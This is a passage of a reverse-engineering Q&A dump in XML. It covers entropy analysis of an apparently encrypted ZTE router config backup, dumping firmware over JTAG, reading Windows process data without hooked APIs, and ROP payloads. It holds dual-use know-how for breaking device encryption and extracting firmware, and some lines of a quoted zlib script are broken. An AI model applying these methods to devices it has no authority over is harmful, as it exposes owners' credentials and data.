('\x78\xda', filename):&#xA;        zlib_chunk_start, zlib_chunk.start = ()&#xA;        zlib_chunk_header = filename[zlib_chunk_start - 12: zlib_chunk_start]&#xA;        xml_chunk_length, zlib_chunk_length, config_bin_length, \&#xA;            struct.unpack ('&amp;gt; LLL', zlib_chunk_header)&#xA;        if xml_chunk_length == 0x10000 or config_bin_length == 0:&#xA;            zlib_chunk_end = zlib_chunk_start + zlib_chunk_length&#xA;            zlib_chunk = filename[zlib_chunk_start: zlib_chunk_end]&#xA;            xml_chunk = zlib.decompress(zlib_chunk)&#xA;            assert xml_chunk_length == len(xml_chunk)&#xA;            config_xml += xml_chunk&#xA;    return config_xml&#xA;&#xA;with open (filename, 'rb') as f:&#xA;    print extract_config_xml(f.read())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This script does not help in this case, mainly because it searches for the byte sequence &lt;code&gt;78 da&lt;/code&gt;, the zlib compression signature, which is not present in the file in question, &lt;code&gt;H201LV2.0_Cur_config.bin&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar config.bin files were quite scarce and difficult to find, but some were located and investigated. The most interesting and useful was a file called &lt;code&gt;H201LV2.0.bin&lt;/code&gt;, shared via &lt;a href=&quot;https://www.dropbox.com/s/hhyqni6i0pfx4z3/H201LV2.0.bin&quot; rel=&quot;noreferrer&quot;&gt;DropBox&lt;/a&gt;. Here is a diff of the headers of the two files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/47HeA.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/47HeA.png&quot; alt=&quot;diff&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly, there is a 16-byte sequence both have in common at offset &lt;code&gt;0x00003214&lt;/code&gt; (is this possible if the files really are encrypted? It seems odd):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JJjcy.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JJjcy.png&quot; alt=&quot;diff 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Binwalk is run against &lt;code&gt;H201LV2.0.bin&lt;/code&gt; it is similarly unsuccessful:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk H201LV2.0.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally, there is another RE.SE post titled &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11626/zte-encrypted-backup-config-file&quot;&gt;ZTE encrypted backup config file&lt;/a&gt; regarding ZTE config backups of a different product, ZTE Speedport Entry 2i, that are also suspected of being encrypted. One the config.bin files shared in a &lt;a href=&quot;https://www.dropbox.com/s/k0dprjt17bh5eqn/config.bin?dl=0&quot; rel=&quot;noreferrer&quot;&gt;link&lt;/a&gt; in the comments under this question also has similar header structure to &lt;code&gt;H201LV2.0_Cur_config.bin&lt;/code&gt; but seems to be from an older firmware version. It appears that others are having difficulty with the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Data Entropy and Entropy Analysis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an &lt;a href=&quot;http://blog.superuser.com/2011/03/21/compression-and-encryption/&quot; rel=&quot;noreferrer&quot;&gt;interesting article on compression and encryption on the SE superuser blog&lt;/a&gt;. Here are two points from the text:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Compression searches for patterns and replaces them with smaller tokens representing those patterns&lt;/li&gt;&#xA;  &lt;li&gt;Encryption obfuscates the data ideally creating an output with no discernible patterns in it&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Differentiating between compression and encryption can be attempted using statistical methods. This has been discussed in the context of firmware analysis by &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/1408/devttys0&quot;&gt;devttys0&lt;/a&gt; in 2 articles:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/&quot; rel=&quot;noreferrer&quot;&gt;Differentiate Encryption From Compression Using Math&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.devttys0.com/2013/06/encryption-vs-compression-part-2/&quot; rel=&quot;noreferrer&quot;&gt;Encryption vs Compression, Part 2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From the first article:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...there are a few tests that can be performed to quantify the randomness of data. The two that I have found most useful are chi square distribution and Monte Carlo pi approximation. These tests can be used to measure the randomness of data and are more sensitive to deviations in randomness than a visual entropy analysis.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Existing tools, such as ent, will perform these&#xA;  calculations for us. The real problem is how to interpret the results;&#xA;  how random is encrypted data vs compressed data? This will depend on&#xA;  both the encryption/compression used, as well as the size of your data&#xA;  set (more data generally means more accurate results). Applying these&#xA;  tests to a (admittedly small) sample of files with varying size which&#xA;  had been put through different compression/encryption algorithms&#xA;  showed the following correlations: &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;Large deviations in the chi square distribution, or large percentages of error in the Monte Carlo approximation are sure signs&#xA;  of compression.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Very accurate pi calculations (&amp;lt; .01% error) are sure signs of encryption.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Lower chi values (&amp;lt; 300) with higher pi error (&gt; .03%) are indicative of compression.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Higher chi values (&gt; 300) with lower pi errors (&amp;lt; .03%) are indicative of encryption.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These value ranges can be used as heuristics in the analysis of the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the result of using Binwalk to perform entropy analysis of &lt;code&gt;H201LV2.0_Cur_config.bin&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -E -J H201LV2.0_Cur_config.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     ENTROPY&#xA;--------------------------------------------------------------------------------&#xA;1024          0x400           Rising entropy edge (0.972587)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xytCt.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xytCt.png&quot; alt=&quot;entropy 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And using &lt;code&gt;ent&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ent H201LV2.0_Cur_config.bin&#xA;Entropy = 7.981641 bits per byte.&#xA;&#xA;Optimum compression would reduce the size&#xA;of this 19716 byte file by 0 percent.&#xA;&#xA;Chi square distribution for 19716 samples is 650.33, and randomly&#xA;would exceed this value less than 0.01 percent of the times.&#xA;&#xA;Arithmetic mean value of data bytes is 126.7613 (127.5 = random).&#xA;Monte Carlo value for Pi is 3.133292757 (error 0.26 percent).&#xA;Serial correlation coefficient is 0.039397 (totally uncorrelated = 0.0).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Synopsis: According to the graph, entropy distribution between byte offsets (decimal) ~1000 to ~19000 is fairly uniform. This is expected with encrypted data:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Encrypted data is typically a flat line with no variation&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The chi square distribution is &lt;strong&gt;650.33&lt;/strong&gt; and the pi error is &lt;strong&gt;0.26&lt;/strong&gt;. The chi square value is on target for what is expected with encrypted data but the pi error value is &lt;em&gt;very&lt;/em&gt; far off target, according to devttys0:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Higher chi values (&gt; 300) with lower pi errors (&amp;lt; .03%) are&#xA;  indicative of encryption.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Part of the problem is the small file size of ~20KB and low entropy in the file header, which we know is not encrypted. Excluding data known to be unencrypted from analysis will increase accuracy. Encryption looks like it begins at around offset &lt;code&gt;0x00000124&lt;/code&gt;, so a python script can be written to skip past the first 292 bytes and write the rest to an auxiliary file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/lib/python&#xA;&#xA;with open(&quot;H201LV2.0_Cur_config.bin&quot;, &quot;rb&quot;) as input_file:&#xA;    with open(&quot;auxiliary_H201LV2.0_Cur_config.bin&quot;, &quot;wb&quot;) as output_file:&#xA;        output_file.write(input_file.read()[292:])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now analysis can be performed on just the (suspected) encrypted data block without the unencrypted file header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -E -J auxiliary_H201LV2.0_Cur_config.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     ENTROPY&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Rising entropy edge (0.973372)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fsNZx.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fsNZx.png&quot; alt=&quot;aux entropy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;ent&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ent auxiliary_H201LV2.0_Cur_config.bin&#xA;Entropy = 7.990521 bits per byte.&#xA;&#xA;Optimum compression would reduce the size&#xA;of this 19424 byte file by 0 percent.&#xA;&#xA;Chi square distribution for 19424 samples is 256.03, and randomly&#xA;would exceed this value 47.01 percent of the times.&#xA;&#xA;Arithmetic mean value of data bytes is 128.0505 (127.5 = random).&#xA;Monte Carlo value for Pi is 3.143651529 (error 0.07 percent).&#xA;Serial correlation coefficient is 0.011183 (totally uncorrelated = 0.0).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These results are interesting: the graph indicates approximately uniform entropy throughout the file, but now the chi square distribution (&lt;strong&gt;256.03&lt;/strong&gt;) and the pi approximation error (&lt;strong&gt;0.07%&lt;/strong&gt;) are &lt;em&gt;both&lt;/em&gt; within the bounds of what is expected for compressed data!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Lower chi values (&amp;lt; 300) with higher pi error (&gt; .03%) are indicative of compression.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With that said, these new values are relatively close to their respective boundary conditions. That is, 256.03 is relatively close to boundary condition of 300 for the chi square distribution and 0.07% is relatively close to the boundary condition of 0.03% for pi approximation error, so it is difficult to say with confidence that the file really is encrypted or if it is compressed based on this. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Evidence supporting the hypothesis that the file is encrypted is confounded by some of the results of the entropy analysis. Therefore I will venture that the file is encrypted but I cannot prove it using the methods I described here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that these findings (or lack thereof) will prove useful to others performing their own investigation of this file. Perhaps a professional will be able to definitively answer this interesting question.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Suggestions, Other Paths&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do you have a suggestion on what should I try ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. More Rigorous Statistical Analysis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.random.org/statistics/information-entropy/&quot; rel=&quot;noreferrer&quot;&gt;Entropy analysis, while useful, is not enough&lt;/a&gt;; additional &lt;a href=&quot;https://www.random.org/analysis/&quot; rel=&quot;noreferrer&quot;&gt;statistical methods&lt;/a&gt; should be employed:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Information entropy is often used as a preliminary test for&#xA;  randomness. Generally speaking, random data will have a high level of&#xA;  information entropy, and a low level of information entropy is a good&#xA;  indicator that the data isn't random. (A low level of entropy isn't&#xA;  definitive proof that the data isn't random, but it means you should&#xA;  be suspcious and submit the generator to further tests.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;However, the converse relation doesn't hold, meaning a high degree of&#xA;  information entropy is no guarantee of randomness. For example, a&#xA;  compressed file (e.g., a ZIP file) has a high level of information&#xA;  entropy, but is in fact highly structured, and it will fail many other&#xA;  tests for randomness. Hence, you have to be a little careful using&#xA;  information entropy as a metric for randomness. To get meaningful&#xA;  results, you really need to combine it with other tests.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Recovering the encryption module&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This speculation in the answer to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11626/zte-encrypted-backup-config-file/13808#13808&quot;&gt;ZTE encrypted backup config file&lt;/a&gt; may provide an avenue of investigation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I imagine that the core functionality to perform the encryption is the same across the ZTE reuters (common config.bin suggests this), so imagine it's just a case of figuring out the method, and what keys/iv are used to decrypt it again...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If the module within the firmware responsible for performing the encryption is found, the encryption algorithm can be reverse-engineered. I think access to the device is required for this, given the absence of easily available ZTE router firmware images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Ciphertext Analysis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something I did not pursue was analysis of the (suspected) ciphertext with tools like &lt;a href=&quot;https://github.com/fwhacking/bfcrypt&quot; rel=&quot;noreferrer&quot;&gt;bfcrypt&lt;/a&gt; or &lt;a href=&quot;http://www.hexblog.com/?p=27&quot; rel=&quot;noreferrer&quot;&gt;FindCrypt&lt;/a&gt; in order to determine the encryption algorithm employed to encrypt the file. A list of more tools can be found on &lt;a href=&quot;http://fwhacking.blogspot.com.br/2011/03/bfcrypt-crypto-scanner.html&quot; rel=&quot;noreferrer&quot;&gt;fwhacking.blogspot.com.br&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking of analyzing ciphertext, I though that this question on Security.SE was interesting: &lt;a href=&quot;https://security.stackexchange.com/questions/3989/how-to-determine-what-type-of-encoding-encryption-has-been-used&quot;&gt;How to determine what type of encoding/encryption has been used?&lt;/a&gt;, especially the &lt;a href=&quot;https://security.stackexchange.com/questions/3989/how-to-determine-what-type-of-encoding-encryption-has-been-used/4068#4068&quot;&gt;answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;quick update: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;these encryption libraries are dynamically linked to the &lt;code&gt;cspd&lt;/code&gt; MIPS ELF binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf --dyn-syms cspd | grep AES&#xA;   484: 0053ab50  1248 FUNC    GLOBAL DEFAULT    8 AES_set_encrypt_key&#xA;   630: 0053b9d0  1600 FUNC    GLOBAL DEFAULT    8 AES_decrypt&#xA;  1187: 0050d470   552 FUNC    GLOBAL DEFAULT    8 DecryByAES&#xA;  1527: 0053b390  1600 FUNC    GLOBAL DEFAULT    8 AES_encrypt&#xA;  1535: 0053b030   864 FUNC    GLOBAL DEFAULT    8 AES_set_decrypt_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as are these compression libraries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf --dyn-syms cspd | grep compress&#xA;    92: 0053c110   208 FUNC    GLOBAL DEFAULT    8 uncompress&#xA;  1064: 0053c010   216 FUNC    GLOBAL DEFAULT    8 compress2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://refspecs.linuxbase.org/LSB_3.0.0/LSB-PDA/LSB-PDA/zlib-uncompress-1.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;uncompress&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://refspecs.linuxbase.org/LSB_3.0.0/LSB-PDA/LSB-PDA/zlib-compress2-1.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;compress2&lt;/code&gt;&lt;/a&gt; are associated with &lt;a href=&quot;https://github.com/madler/zlib/blob/master/zlib.h&quot; rel=&quot;noreferrer&quot;&gt;zlib&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2018-10-06T02:45:22.933" LastActivityDate="2018-10-06T02:45:22.933" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="14783" PostTypeId="2" ParentId="14771" CreationDate="2017-03-01T09:46:38.200" Score="2" Body="&lt;p&gt;It appears to me that the payload contains no instructions but just addresses of the existing ROP gadgets in the DLLs specific to the system being exploited. Try looking up the addresses in the webserver process' memory and disassemble them. Alternatively, attach a debugger and put breakpoints on some of the possibly invoked functions to see how they're triggered and then post the exploit.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-03-01T09:46:38.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14785" PostTypeId="1" CreationDate="2017-03-01T13:08:04.350" Score="-1" ViewCount="709" Body="&lt;p&gt;I want to write a program to obtain the information of process, for the purpose of detecting and combating malware. I can use C++ and Win32 APIs to finish it, but I then started suspecting those APIs may be hooked in order to avoid my tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Can I get that information without using APIs? I cannot find any details about how &lt;code&gt;zwQueryInformationProcess()&lt;/code&gt; functions.&lt;/p&gt;&#xA;" OwnerUserId="19338" LastEditorUserId="2147" LastEditDate="2017-03-06T18:23:05.673" LastActivityDate="2017-03-06T18:42:43.720" Title="How can I get the process information in windows without using APIs?" Tags="|windows|c++|winapi|function-hooking|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14787" PostTypeId="2" ParentId="14711" CreationDate="2017-03-01T18:25:52.797" Score="0" Body="&lt;p&gt;On my router ZTEZXV10 H201L V2 there is utility which is incharge for db dackup and hire it is maybe some one can &quot;see&quot; how they encrypt baykup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/z3RXl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z3RXl.png&quot; alt=&quot;DBXMLSAVE&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3810" LastActivityDate="2017-03-01T18:25:52.797" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14790" PostTypeId="2" ParentId="14785" CreationDate="2017-03-02T09:32:53.043" Score="1" Body="&lt;p&gt;Have a look at the &lt;a href=&quot;http://blog.rewolf.pl/blog/wp-content/uploads/2013/03/PEB_Evolution.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Environment Block (PEB)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;API functions like &lt;code&gt;zwQueryInformationProcess()&lt;/code&gt; parse the data from intern structures. Some of them may provide the information you need and you should be able to find them without utilizing API functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also get a lot of information from the file header im memory, TEBs (Thread Environment Blocks) or you try a level deeper: &lt;a href=&quot;http://www.nirsoft.net/kernel_struct/vista/EPROCESS.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;EPROCESS&lt;/a&gt;. The later is utilized at kernel level.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-03-02T09:32:53.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14793" PostTypeId="2" ParentId="10595" CreationDate="2017-03-02T17:51:20.117" Score="1" Body="&lt;p&gt;There is another interesting place in &lt;code&gt;scanf&lt;/code&gt; library call when handling &lt;code&gt;\x09~\0xd&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just only put &lt;code&gt;\x0b&lt;/code&gt; at the head of input string. If you just put &lt;code&gt;\x0b&lt;/code&gt; in the middle of string, and there are valid ascii(not in \x09~\x0d) from head to the first &lt;code&gt;\x0b&lt;/code&gt;, like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;AAAAAA\x0bBBBBB&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you execute your program again, you will find the following &lt;code&gt;B&lt;/code&gt;s will be abandoned or the input string will be truncated by the second valid &lt;code&gt;\x0b&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12073" LastActivityDate="2017-03-02T17:51:20.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14794" PostTypeId="1" AcceptedAnswerId="14809" CreationDate="2017-03-02T18:10:35.103" Score="1" ViewCount="14391" Body="&lt;p&gt;&lt;strong&gt;Problem :&lt;/strong&gt; How can I debug an ELF file in MS Windows? is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Scenario :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an ELF file compiled to work on hardware with VXWorks 5.5 OS and SH4 CPU. IDA68 is able to disassemble the file and correctly detects SH4 instructions although looks like IDA is unable to debug it with its debugger(the debugger icon is grey), and without the ability to debug the assembly it is almost impossible to understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something here?&lt;/p&gt;&#xA;" OwnerUserId="19355" LastEditorUserId="60" LastEditDate="2017-03-03T13:24:57.340" LastActivityDate="2017-03-15T13:24:13.020" Title="Is it possible to debug an ELF file with a Windows-based disassembler?" Tags="|ida|windows|debugging|elf|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14795" PostTypeId="1" AcceptedAnswerId="14803" CreationDate="2017-03-02T18:52:51.217" Score="4" ViewCount="2877" Body="&lt;p&gt;I am working with IDA and I have the &lt;code&gt;OpenProcess&lt;/code&gt; function receiving &lt;code&gt;dwDesireAccess&lt;/code&gt; of &lt;code&gt;0x410&lt;/code&gt;:   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y0thX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y0thX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt; we can see that &lt;code&gt;0x410&lt;/code&gt; is the result of &lt;code&gt;OR&lt;/code&gt; between two access rights:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PROCESS_QUERY_INFORMATION (0x0400)&#xA;PROCESS_VM_READ (0x0010)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I set a standard symbolic constant such as&lt;br&gt;&#xA;&lt;code&gt;PROCESS_QUERY_INFORMATION | PROCESS_VM_READ&lt;/code&gt; ?    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must do it manually (with &quot;Manual...&quot;)?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is only what I have:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3aiqX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3aiqX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2017-03-03T06:51:05.777" Title="How to add standard symbolic constants with bitwise operators (like ORs)" Tags="|ida|debugging-symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14796" PostTypeId="1" CreationDate="2017-03-02T19:56:59.643" Score="1" ViewCount="1024" Body="&lt;p&gt;I have an Infineon XC161CJ-16F SoC and Micron/ST M29W320EB parallel nor flash memory that I am trying to dump the firmware from but I'm not sure how to proceed.  I found JTAG pads that I soldered pins to but I think JTAG was probably disabled by the processor at boot, at least I can't get anything to connect.  I am using a Black Flash USB programmer board and Blackcat software. The device has a RS232 port but I haven't been able to get anything out of it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be better suited for EE but the TDI and TCK circuits have pull-up resistors on them, the TRST circuit has a pull-down resistor, and the TMS and TDO do not have any.  I don't know if that's normal or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think the memory chip can be read directly unless I have some kind of special clip (which probably won't fit this application) or it's desoldered? Desoldering is out of the question unfortunately.  So that means I need to  find some way to enable JTAG?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can also run in &quot;dead poll&quot; mode by holding a button at boot in order to program the main firmware. As I understand it at that point the device is running on the boot block firmware.  I'm not sure if that could help me or not.  I also don't know if the boot block image is programmed into the internal SoC or to a special block on the flash chip.  I have a copy of both the main firmware and boot block file but I'm sure they are encrypted/obfuscated.  I have also reversed the programming software and sniffed the usb during firmware updates to confirm that the decryption isn't done in software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the XC161CJ datasheet it looks like it can be run off internal or external memory,  I don't know if that could help or if there is any risks from messing with it.  Also maybe I could try to dump the internal SoC memory, but there could be security checks to prevent this?  I guess I just really don't know where to go from here.  I've done some JTAG programming before but always with a guide to follow.  This is the first time I've had to figure it out for myself and I'm stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="19357" LastEditorUserId="19357" LastEditDate="2017-03-05T00:43:29.347" LastActivityDate="2017-03-05T00:43:29.347" Title="Trying to dump firmware from embedded flash" Tags="|firmware|memory|embedded|jtag|c166|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14797" PostTypeId="2" ParentId="14766" CreationDate="2017-03-02T20:26:11.000" Score="1" Body="&lt;p&gt;Turns out the header is actually a ECDSA public key and signature, so, according to what I've read, it's basically impossible to modify the file without re-signing it with the private key (which I do not have).&lt;/p&gt;&#xA;" OwnerUserId="19312" LastActivityDate="2017-03-02T20:26:11.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14798" PostTypeId="2" ParentId="14794" CreationDate="2017-03-02T21:13:26.870" Score="2" Body="&lt;p&gt;You cannot run ELF files on Windows because the system offers a completely different architecture and API for programs to use. For example, the system calls in windows are different from the system calls in Linux (those which your elf will try to call). Also, if Windows could understand and try to load the ELF, your file will try to link to system libraries which do not exist under windows (.so files instead of windows dlls).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another reason that the files will not run under windows is that the binary format is different and Windows will not be able to understand how to run the ELF file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are ways in which you can run Linux software under windows but they require emulation (Virtual machines, Bash on Ubuntu on Windows etc.)&lt;/p&gt;&#xA;" OwnerUserId="19359" LastActivityDate="2017-03-02T21:13:26.870" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
